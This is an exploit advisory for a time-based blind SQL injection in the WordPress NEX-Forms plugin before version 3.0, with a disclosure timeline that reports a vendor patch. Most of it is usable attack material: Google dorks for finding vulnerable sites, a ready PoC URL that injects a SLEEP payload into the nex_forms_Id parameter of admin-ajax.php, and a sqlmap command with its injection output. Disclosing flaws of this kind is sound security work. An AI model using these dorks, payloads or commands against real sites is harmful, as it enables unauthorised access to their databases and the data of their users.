WordPress Plugin NEX-Forms < 3.0 - SQL Injection

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# Exploit Title : NEX-Forms 3.0 SQL Injection Vulnerability

# Exploit Author : Claudio Viviani

# Website Author: http://www.homelab.it
                  http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive)
                  

# Vendor Homepage : https://wordpress.org/plugins/nex-forms-express-wp-form-builder/

# Software Link : https://downloads.wordpress.org/plugin/nex-forms-express-wp-form-builder.3.0.zip

# Dork Google: inurl:nex-forms-express-wp-form-builder
#              index of nex-forms-express-wp-form-builder

# Date : 2015-03-29

# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox

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# Info:

 The "submit_nex_form" ajax function is affected from SQL Injection vulnerability
 
 "nex_forms_Id" var is not sanitized

# PoC Exploit:

 http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)

# Poc Video:

 http://youtu.be/04G08Cbrx1I

# PoC sqlmap:

 sqlmap -u "http://TARGET/wordpress/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=10" -p nex_forms_Id --dbms mysql
 
 [23:15:37] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
 [23:15:48] [INFO] GET parameter 'nex_forms_Id' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
 [23:15:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
 [23:15:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
 [23:16:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
 [23:16:07] [INFO] checking if the injection point on GET parameter 'nex_forms_Id' is a false positive
 GET parameter 'nex_forms_Id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
 sqlmap identified the following injection points with a total of 85 HTTP(s) requests:
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 Parameter: nex_forms_Id (GET)
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: action=submit_nex_form&nex_forms_Id=10 AND (SELECT * FROM (SELECT(SLEEP(5)))NdbE)
 ---
 [23:16:34] [INFO] the back-end DBMS is MySQL
 web server operating system: Linux CentOS 5.10
 web application technology: PHP 5.3.3, Apache 2.2.3
 back-end DBMS: MySQL 5.0.12

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# Vulnerability Disclosure Timeline:

2015-03-29:  Discovered vulnerability
2015-04-16:  Vendor Notification
2015-04-17:  Vendor Response/Feedback 
2015-04-21:  Vendor Send Fix/Patch (same version number)
2015-04-21:  Public Disclosure 

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Discovered By : Claudio Viviani
                http://www.homelab.it
                http://archive-exploit.homelab.it/1 (Full HomelabIT Vulns Archive)
                http://ffhd.homelab.it (Free Fuzzy Hashes Database)
				
                [email protected]
                [email protected]

                https://www.facebook.com/homelabit
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                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

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